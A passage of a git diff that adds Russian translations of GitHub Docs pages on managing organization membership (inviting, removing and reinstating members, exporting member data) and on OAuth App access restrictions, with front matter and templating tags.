присоединиться](/articles/inviting-users-to-join-your-organization) к вашей организации. Используйте [роли организации](/articles/permission-levels-for-an-organization) и [разрешения репозитория](/articles/repository-permission-levels-for-an-organization), чтобы ограничить доступ к каждой учетной записи. diff --git a/translations/ru-RU/content/organizations/managing-membership-in-your-organization/canceling-or-editing-an-invitation-to-join-your-organization.md b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/canceling-or-editing-an-invitation-to-join-your-organization.md new file mode 100644 index 000000000000..cc488a6c1d24 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/canceling-or-editing-an-invitation-to-join-your-organization.md @@ -0,0 +1,37 @@ +--- +title: Отмена или редактирование приглашения на присоединение к организации +intro: 'Владельцы организации могут редактировать или отменять приглашение, чтобы стать участником вашей организации в любое время до принятия пользователем.' +redirect_from: + - /articles/canceling-or-editing-an-invitation-to-join-your-organization + - /github/setting-up-and-managing-organizations-and-teams/canceling-or-editing-an-invitation-to-join-your-organization +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Cancel or edit invitation +ms.openlocfilehash: d9914764c4803ab503db5cacb2a61c27810d90cf +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145109824' +--- +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} +4. На вкладке «Люди» нажмите кнопку **Ожидающие приглашения**. + ![Ссылка «Ожидающие приглашение»](/assets/images/help/organizations/pending-invitation-link.png) +5. Рядом с именем или адресом электронной почты пользователя, для которого вы хотите изменить или отменить приглашение, нажмите кнопку **Изменить приглашение**. +![Кнопка «Изменить приглашение»](/assets/images/help/organizations/edit-invitation-button.png) + + Возможно, потребуется щелкнуть **Просмотреть все приглашения** в нижней части окна, чтобы найти нужного пользователя. +6. Решите, следует ли изменить или отменить приглашение пользователя присоединиться к вашей организации. + ![Кнопки обновления и отмены приглашения](/assets/images/help/organizations/update-cancel-invitation-buttons-for-dotcom-and-2.8.png) + - Чтобы изменить приглашение пользователя выберите другую роль или команду, а затем нажмите **Обновить приглашение**. + - Чтобы отменить приглашение пользователя присоединиться к организации, нажмите кнопку **Отмена приглашения**. + +## Дополнительные материалы + +{% ifversion fpt or ghec %} +- [Отправка пользователям приглашений присоединиться к вашей организации](/articles/inviting-users-to-join-your-organization) {% endif %} +- [Добавление участников организации в команду](/articles/adding-organization-members-to-a-team) diff --git a/translations/ru-RU/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md new file mode 100644 index 000000000000..8e011b846bfc --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md @@ -0,0 +1,33 @@ +--- +title: Экспорт сведений об участниках организации +intro: Вы можете экспортировать сведения об участниках организации непосредственно из пользовательского интерфейса. +permissions: Organization owners can export member information for their organization. +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Export member information +ms.openlocfilehash: 2777e125f5eb43bfcf8ec1172db29fe7338bdbad +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145109819' +--- +Вы можете экспортировать сведения об участниках вашей организации. Это полезно, если вы хотите выполнить аудит пользователей в организации. + +Экспортированные сведения включают: +- Сведения об имени и отображаемом имени пользователя +- Включена ли двухфакторная проверка подлинности +- Является ли членство общедоступным или частным +- Является ли пользователь владельцем или участником организации +- Дата и время последнего действия пользователя (полный список соответствующих действий см. в разделе [Управление неактивными пользователями](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)) +- NameID пользователя в SAML, если доступно + +Сведения об участниках можно получить непосредственно из пользовательского интерфейса {% data variables.product.product_name %} или с помощью API. В этой статье объясняется, как получить сведения об участниках из {% data variables.product.product_name %}. + +Дополнительные сведения об API-интерфейсах см. в документации по [API GraphQL](/graphql/reference/objects#user) и [REST API](/rest/reference/users) о пользователях. + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} {% data reusables.organizations.people-export %} diff --git a/translations/ru-RU/content/organizations/managing-membership-in-your-organization/index.md b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/index.md new file mode 100644 index 000000000000..ff34fdc3f272 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/index.md @@ -0,0 +1,32 @@ +--- +title: Управление членством в вашей организации +intro: 'После создания организации вы можете {% ifversion fpt %}пригласить пользователей{% else %}добавить пользователей{% endif %} в качестве членов организации. Вы также можете удалять членов организации и восстанавливать бывших членов.' +redirect_from: + - /articles/removing-a-user-from-your-organization + - /articles/managing-membership-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/managing-membership-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /inviting-users-to-join-your-organization + - /canceling-or-editing-an-invitation-to-join-your-organization + - /adding-people-to-your-organization + - /removing-a-member-from-your-organization + - /reinstating-a-former-member-of-your-organization + - /exporting-member-information-for-your-organization + - /can-i-create-accounts-for-people-in-my-organization +shortTitle: Manage membership +ms.openlocfilehash: f465362d7aa9310a3ab8f286ee4e00519637c236 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145109811' +--- +<!-- else --> diff --git a/translations/ru-RU/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md new file mode 100644 index 000000000000..3228b6aa3f46 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md @@ -0,0 +1,42 @@ +--- +title: Inviting users to join your organization +intro: 'You can invite anyone to become a member of your organization using their username or email address for {% data variables.location.product_location %}.' +permissions: Organization owners can invite users to join an organization. +redirect_from: + - /articles/adding-or-inviting-members-to-a-team-in-an-organization + - /articles/inviting-users-to-join-your-organization + - /github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Invite users to join +--- + +## About organization invitations + +If your organization has a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." + +{% data reusables.organizations.org-invite-scim %} + +If your organization requires members to use two-factor authentication, users that you invite must enable two-factor authentication before accepting the invitation. For more information, see "[Requiring two-factor authentication in your organization](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization)" and "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)." + +{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% else %}You{% endif %} can implement SCIM to add, manage, and remove organization members' access to {% data variables.product.prodname_dotcom_the_website %} through an identity provider (IdP). For more information, see "[About SCIM for organizations](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} + +## Inviting a user to join your organization + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.people %} +{% data reusables.organizations.invite_member_from_people_tab %} +{% data reusables.organizations.invite_to_org %} +{% data reusables.organizations.choose-to-restore-privileges %} +{% data reusables.organizations.choose-user-role %} +{% data reusables.organizations.add-user-to-teams %} +{% data reusables.organizations.send-invitation %} +{% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %} + +## Further reading +- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)" diff --git a/translations/ru-RU/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md new file mode 100644 index 000000000000..7689089637ce --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md @@ -0,0 +1,82 @@ +--- +title: Reinstating a former member of your organization +intro: 'Organization owners can {% ifversion fpt or ghec %}invite former organization members to rejoin{% else %}add former members to{% endif%} your organization, and choose whether to restore the person''s former role, access permissions, forks, and settings.' +redirect_from: + - /articles/reinstating-a-former-member-of-your-organization + - /github/setting-up-and-managing-organizations-and-teams/reinstating-a-former-member-of-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +permissions: Organization owners can reinstate a former member of an organization. +topics: + - Organizations + - Teams +shortTitle: Reinstate a member +--- + +## About member reinstatement + +If a user is removed from your organization in one of the following ways, the user's access privileges and settings are saved for three months. + +- You manually removed the user from your organization. For more information, see "[Removing a member from your organization](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization)."{% ifversion not ghae %} +- The user was removed from your organization because you've required members and outside collaborators to enable two-factor authentication (2FA). For more information, see "[Requiring two-factor authentication in your organization](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization)."{% endif %}{% ifversion fpt or ghec %} +- The user was removed from your organization because you enforced SAML single sign-on. For more information, see "[Enforcing SAML single sign-on for your organization](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %} +- You converted an organization member to an outside collaborator. For more information, see "[Converting an organization member to an outside collaborator](/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator)." + +You can restore the user's privileges if you {% ifversion fpt or ghec %}invite{% else %}add{% endif %} them back to the organization within that time frame. + +{% note %} + +**Note:** {% data reusables.saml.removed-users-can-rejoin %} You do not need to invite these users to rejoin. Instead, the user can sign into their personal account, navigate to the organization, and click the banner to authenticate via SAML single sign-on. + +{% endnote %} + +{% data reusables.two_fa.send-invite-to-reinstate-user-before-2fa-is-enabled %} + +When you reinstate a former organization member, you can restore: + - The user's role in the organization + - Any private forks of repositories owned by the organization + - Membership in the organization's teams + - Previous access and permissions for the organization's repositories + - Stars for organization repositories + - Issue assignments in the organization + - Repository subscriptions (notification settings for watching, not watching, or ignoring a repository's activity) + +{% ifversion ghes %} +If an organization member was removed from the organization because they did not use two-factor authentication and your organization still requires members to use 2FA, the former member must enable two-factor authentication before you can reinstate their membership. +{% endif %} + +{% ifversion fpt or ghec %} +If your organization has a paid per-user subscription, an unused license must be available before you can reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." {% data reusables.organizations.org-invite-scim %} +{% endif %} + +## Reinstating a former member of your organization + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.people %} +{% data reusables.organizations.invite_member_from_people_tab %} +{% data reusables.organizations.reinstate-user-type-username %} +{% ifversion fpt or ghec %} +6. Choose whether to restore that person's previous privileges in the organization or clear their previous privileges and set new access permissions, then click **Invite and reinstate** or **Invite and start fresh**. + ![Choose to restore info or not](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png) +{% else %} +6. Choose whether to restore that person's previous privileges in the organization or clear their previous privileges and set new access permissions, then click **Add and reinstate** or **Add and start fresh**. + ![Choose whether to restore privileges](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png) +{% endif %} +{% ifversion fpt or ghec %} +7. If you cleared the previous privileges for a former organization member, choose a role for the user, and optionally add them to some teams, then click **Send invitation**. + ![Role and team options and send invitation button](/assets/images/help/organizations/add-role-send-invitation.png) +{% else %} +7. If you cleared the previous privileges for a former organization member, choose a role for the user, and optionally add them to some teams, then click **Add member**. + ![Role and team options and add member button](/assets/images/help/organizations/add-role-add-member.png) +{% endif %} +{% ifversion fpt or ghec %} +{% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %} +{% endif %} + +## Further reading + +- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)" diff --git a/translations/ru-RU/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md new file mode 100644 index 000000000000..d5de3d41d787 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md @@ -0,0 +1,72 @@ +--- +title: Удаление участника из организации +intro: 'Если членам организации больше не требуется доступ к каким-либо репозиториям, принадлежащим организации, можно удалить их из организации.' +redirect_from: + - /articles/removing-a-member-from-your-organization + - /github/setting-up-and-managing-organizations-and-teams/removing-a-member-from-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Remove a member +permissions: Organization owners can remove members from an organization. +ms.openlocfilehash: 4266172bc2bae6fb95506b98309533919309ccfc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147064701' +--- +{% ifversion fpt or ghec %} + +{% warning %} + +**Предупреждение.** При удалении участников из организации: +- Число платных лицензий не уменьшается автоматически. Чтобы платить за меньшее число лицензий после удаления пользователей из вашей организации, выполните действия, описанные в разделе [Уменьшение количества платных рабочих мест в организации](/articles/downgrading-your-organization-s-paid-seats). +- Удаленные участники потеряют доступ к закрытым вилкам частных репозиториев вашей организации, но они по-прежнему могут использовать локальные копии. Однако они не могут синхронизировать локальные копии с репозиториями в вашей организации. Закрытые вилки можно восстановить, если пользователь [восстановлен как участник организации](/articles/reinstating-a-former-member-of-your-organization) в течение трех месяцев после удаления из организации. В конечном счете вы несете ответственность за то, чтобы пользователи, которые потеряли доступ к репозиторию, удалили любую конфиденциальную информацию или интеллектуальную собственность. +- Если вилки частных репозиториев создаются в других организациях, эти организации могут управлять доступом к сети вилок. Это означает, что пользователи могут сохранять доступ к вилкам даже после потери доступа к исходной организации, так как они по-прежнему будут иметь явный доступ через вилку. {%- ifversion ghec %} +- Удаленные участники также потеряют доступ к закрытым вилкам внутренних репозиториев вашей организации, если удаленный участник не является участником какой-либо другой организации, которая принадлежит к той же корпоративной учетной записи. Дополнительные сведения см. в разделе [Сведения об учетных записях предприятия](/admin/overview/about-enterprise-accounts). +{%- endif %} +- Все приглашения организации, отправленные удаленным участником, которые не были приняты, были отменены и не будут доступны. + +{% endwarning %} + +{% else %} + +{% warning %} + +**Предупреждение.** При удалении участников из организации: + - Удаленные участники потеряют доступ к закрытым вилкам частных репозиториев вашей организации, но они по-прежнему могут использовать локальные копии. Однако они не могут синхронизировать локальные копии с репозиториями в вашей организации. Закрытые вилки можно восстановить, если пользователь [восстановлен как участник организации](/articles/reinstating-a-former-member-of-your-organization) в течение трех месяцев после удаления из организации. В конечном счете вы несете ответственность за то, чтобы пользователи, которые потеряли доступ к репозиторию, удалили любую конфиденциальную информацию или интеллектуальную собственность. +- Удаленные участники также потеряют доступ к закрытым вилкам внутренних репозиториев вашей организации, если удаленный участник не является участником какой-либо другой организации в вашем предприятии. + - Все приглашения организации, отправленные удаленным пользователем, которые не были приняты, были отменены и не будут доступны. + +{% endwarning %} + +{% endif %} + +{% ifversion fpt or ghec %} + +Чтобы помочь пользователю, которого вы удаляете из организации, и убедиться, что он удалит всю конфиденциальную информацию или интеллектуальную собственность, рекомендуется предоставить ему контрольный список рекомендаций по процедуре увольнения из организации. Пример см. в разделе [Рекомендации по процедуре увольнения из компании](/articles/best-practices-for-leaving-your-company/). + +{% endif %} + +{% data reusables.organizations.data_saved_for_reinstating_a_former_org_member %} + +## Отзыв членства для пользователя + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} +4. Выберите одного или нескольких участников, которых вы хотите удалить из организации. + ![Список участников с двумя выбранными участниками](/assets/images/help/teams/list-of-members-selected-bulk.png) +5. Над списком участников используйте раскрывающееся меню и нажмите щелкните **Удалить из организации**. + ![Раскрывающееся меню с параметром удаления участников](/assets/images/help/teams/user-bulk-management-options.png) +6. Просмотрите участников, которые будут удалены из организации, а затем нажмите кнопку **Удалить участников**. + ![Список участников, которые будут удалены, и кнопка "Удалить участников"](/assets/images/help/teams/confirm-remove-members-bulk.png) + +## Дополнительные материалы + +- [Удаление членов организации из команды](/articles/removing-organization-members-from-a-team){% ifversion remove-enterprise-members %} +- [Удаление участника из предприятия](/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise)"{% endif %} diff --git a/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions.md b/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions.md new file mode 100644 index 000000000000..8926159ac554 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions.md @@ -0,0 +1,72 @@ +--- +title: About OAuth App access restrictions +intro: 'Organizations can choose which {% data variables.product.prodname_oauth_apps %} have access to their repositories and other resources by enabling {% data variables.product.prodname_oauth_app %} access restrictions.' +redirect_from: + - /articles/about-third-party-application-restrictions + - /articles/about-oauth-app-access-restrictions + - /github/setting-up-and-managing-organizations-and-teams/about-oauth-app-access-restrictions + - /organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: OAuth App access +--- + +## About OAuth App access restrictions + +{% data reusables.apps.oauth-app-access-restrictions %} + +{% ifversion limit-app-access-requests %} +{% data reusables.organizations.restricted-app-access-requests %}{% endif %} + +{% data reusables.organizations.oauth_app_restrictions_default %} + +{% tip %} + +**Tip**: When an organization has not set up {% data variables.product.prodname_oauth_app %} access restrictions, any {% data variables.product.prodname_oauth_app %} authorized by an organization member can also access the organization's private resources. + +{% endtip %} + +{% ifversion fpt %} +To further protect your organization's resources, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes security features like SAML single sign-on. {% data reusables.enterprise.link-to-ghec-trial %} +{% endif %} + +## Setting up {% data variables.product.prodname_oauth_app %} access restrictions + +When an organization owner sets up {% data variables.product.prodname_oauth_app %} access restrictions for the first time: + +- **Applications that are owned by the organization** are automatically given access to the organization's resources. +- **{% data variables.product.prodname_oauth_apps %}** immediately lose access to the organization's resources. +- **SSH keys created before February 2014** immediately lose access to the organization's resources (this includes user and deploy keys). +- **SSH keys created by {% data variables.product.prodname_oauth_apps %} during or after February 2014** immediately lose access to the organization's resources. +- **Hook deliveries from private organization repositories** will no longer be sent to unapproved {% data variables.product.prodname_oauth_apps %}. +- **API access** to private organization resources is not available for unapproved {% data variables.product.prodname_oauth_apps %}. In addition, there are no privileged create, update, or delete actions on public organization resources. +- **Hooks created by users and hooks created before May 2014** will not be affected. +- **Private forks of organization-owned repositories** are subject to the organization's access restrictions. + +## Resolving SSH access failures + +When an SSH key created before February 2014 loses access to an organization with {% data variables.product.prodname_oauth_app %} access restrictions enabled, subsequent SSH access attempts will fail. Users will encounter an error message directing them to a URL where they can approve the key or upload a trusted key in its place. + +## Webhooks + +When an {% data variables.product.prodname_oauth_app %} is granted access to the organization after restrictions are enabled, any pre-existing webhooks created by that {% data variables.product.prodname_oauth_app %} will resume dispatching. + +When an organization removes access from a previously-approved {% data variables.product.prodname_oauth_app %}, any pre-existing webhooks created by that application will no longer be dispatched (these hooks will be disabled, but not deleted). + +## Re-enabling access restrictions + +If an organization disables {% data variables.product.prodname_oauth_app %} access application restrictions, and later re-enables them, previously approved {% data variables.product.prodname_oauth_app %} are automatically granted access to the organization's resources. + +## Further reading + +- "[Enabling {% data variables.product.prodname_oauth_app %} access restrictions for your organization](/articles/enabling-oauth-app-access-restrictions-for-your-organization)" +- "[Approving {% data variables.product.prodname_oauth_apps %} for your organization](/articles/approving-oauth-apps-for-your-organization)" +- "[Reviewing your organization's installed integrations](/articles/reviewing-your-organization-s-installed-integrations)" +- "[Denying access to a previously approved {% data variables.product.prodname_oauth_app %} for your organization](/articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization)" +- "[Disabling {% data variables.product.prodname_oauth_app %} access restrictions for your organization](/articles/disabling-oauth-app-access-restrictions-for-your-organization)" +- "[Requesting organization approval for {% data variables.product.prodname_oauth_apps %}](/articles/requesting-organization-approval-for-oauth-apps)" +- "[Authorizing {% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)" diff --git a/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md b/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md new file mode 100644 index 000000000000..b2cd0858d670 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md @@ -0,0 +1,32 @@ +--- +title: Approving OAuth Apps for your organization +intro: 'When an organization member or outside collaborator requests {% data variables.product.prodname_oauth_app %} access to organization resources, organization owners can approve or deny the request.' +redirect_from: + - /articles/approving-third-party-applications-for-your-organization + - /articles/approving-oauth-apps-for-your-organization + - /github/setting-up-and-managing-organizations-and-teams/approving-oauth-apps-for-your-organization + - /organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Approve OAuth Apps +--- +When {% data variables.product.prodname_oauth_app %} access restrictions are enabled, organization members and outside collaborators must [request approval](/articles/requesting-organization-approval-for-oauth-apps) from an organization owner before they can authorize an {% data variables.product.prodname_oauth_app %} that has access to the organization's resources. + +{% ifversion limit-app-access-requests %} +{% data reusables.organizations.restricted-app-access-requests %}{% endif %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.oauth_app_access %} +5. Next to the application you'd like to approve, click **Review**. +![Review request link](/assets/images/help/settings/settings-third-party-approve-review.png) +6. After you review the information about the requested application, click **Grant access**. +![Grant access button](/assets/images/help/settings/settings-third-party-approve-grant.png) + +## Further reading + +- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)" diff --git a/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md b/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md new file mode 100644 index 000000000000..f6006ddcf90b --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md @@ -0,0 +1,27 @@ +--- +title: Запрет доступа к ранее утвержденному приложению OAuth для вашей организации +intro: 'Если организации больше не требуются ранее авторизованные {% data variables.product.prodname_oauth_app %}, владельцы могут удалить доступ приложения к ресурсам организации.' +redirect_from: + - /articles/denying-access-to-a-previously-approved-application-for-your-organization + - /articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization + - /github/setting-up-and-managing-organizations-and-teams/denying-access-to-a-previously-approved-oauth-app-for-your-organization + - /organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Deny OAuth App +ms.openlocfilehash: 2ad93459051696baa1197e1e655f229fbd42511c +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148098548' +--- +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.oauth_app_access %} +5. Рядом с приложением, которое вы хотите отключить, щелкните {% octicon "pencil" aria-label="The edit icon" %}. + ![Значок "Изменить"](/assets/images/help/settings/settings-third-party-deny-edit.png) +6. Нажмите кнопку **Запретить доступ**. + ![Кнопка подтверждения запрета](/assets/images/help/settings/settings-third-party-deny-confirm.png) diff --git a/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md b/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md new file mode 100644 index 000000000000..d2aac559f266 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md @@ -0,0 +1,33 @@ +--- +title: Отключение ограничений доступа к приложению OAuth в организации +intro: 'Владельцы организации могут отключить ограничения для {% data variables.product.prodname_oauth_apps %}, имеющих доступ к ресурсам организации.' +redirect_from: + - /articles/disabling-third-party-application-restrictions-for-your-organization + - /articles/disabling-oauth-app-access-restrictions-for-your-organization + - /github/setting-up-and-managing-organizations-and-teams/disabling-oauth-app-access-restrictions-for-your-organization + - /organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Disable OAuth App +ms.openlocfilehash: 28c3cdf925733e5e752138aedcb76c47d21d4f39 +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148098543' +--- +{% danger %} + +**Предупреждение.** При отключении ограничений доступа к приложению {% data variables.product.prodname_oauth_app %} в организации любой ее член автоматически авторизует доступ приложения {% data variables.product.prodname_oauth_app %} к частным ресурсам организации, когда он утверждает использование приложения в параметрах личной учетной записи. + +{% enddanger %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.oauth_app_access %} +5. Нажмите кнопку **Удалить ограничения**. + ![Кнопка "Удалить ограничения"](/assets/images/help/settings/settings-third-party-remove-restrictions.png) +6. После просмотра сведений об отключении ограничений сторонних приложений нажмите кнопку **Да, удалить ограничения приложения**. + ![Кнопка подтверждения удаления](/assets/images/help/settings/settings-third-party-confirm-disable.png) diff --git a/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md b/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md new file mode 100644 index 000000000000..9816f626f52a --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md @@ -0,0 +1,38 @@ +--- +title: Включение ограничений доступа приложений OAuth для организации +intro: 'Владельцы организации могут разрешить ограничения доступа {% data variables.product.prodname_oauth_app %}, чтобы предотвратить доступ к ресурсам организации для ненадежных приложений, позволяя членам организации использовать {% data variables.product.prodname_oauth_apps %} для своих личных учетных записей.' +redirect_from: + - /articles/enabling-third-party-application-restrictions-for-your-organization + - /articles/enabling-oauth-app-access-restrictions-for-your-organization + - /github/setting-up-and-managing-organizations-and-teams/enabling-oauth-app-access-restrictions-for-your-organization + - /organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Enable OAuth App +ms.openlocfilehash: e49078e8e2503b1d5af2552c101d9dbbd5f1d410 +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148098540' +--- +{% data reusables.organizations.oauth_app_restrictions_default %} + +{% warning %} + +**Предупреждения** +- Включение ограничений доступа {% data variables.product.prodname_oauth_app %} приведет к отмене доступа организации для всех ранее авторизованных {% data variables.product.prodname_oauth_apps %} и ключей SSH. Дополнительные сведения см. в разделе [Сведения об ограничениях доступа {% data variables.product.prodname_oauth_app %}](/articles/about-oauth-app-access-restrictions). +- После настройки ограничений доступа {% data variables.product.prodname_oauth_app %} необходимо повторно авторизовать все {% data variables.product.prodname_oauth_app %}, которым требуется доступ к частным данным организации на постоянной основе. Всем членам организации потребуется создать новые ключи SSH, и организация должна будет создавать новые ключи развертывания по мере необходимости. +- Если включены ограничения доступа {% data variables.product.prodname_oauth_app %}, приложения могут использовать маркер OAuth для доступа к сведениям о транзакциях {% data variables.product.prodname_marketplace %}. + +{% endwarning %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.oauth_app_access %} +5. В разделе "Политика доступа сторонних приложений" щелкните **Настроить ограничения доступа приложений**. + ![Кнопка настройки ограничений](/assets/images/help/settings/settings-third-party-set-up-restrictions.png) +6. После просмотра сведений об ограничениях доступа сторонних приложений нажмите кнопку **Ограничить доступ сторонних приложений**. + ![Кнопка подтверждения ограничения](/assets/images/help/settings/settings-third-party-restrict-confirm.png) diff --git a/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/index.md b/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/index.md new file mode 100644 index 000000000000..27582016e187 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/index.md @@ -0,0 +1,29 @@ +--- +title: Управление доступом OAuth к данным организации +intro: 'Система ограничения доступа {% data variables.product.prodname_oauth_app %} позволяет владельцам организации ограничить доступ ненадежного приложения к данным организации. После этого участники организации 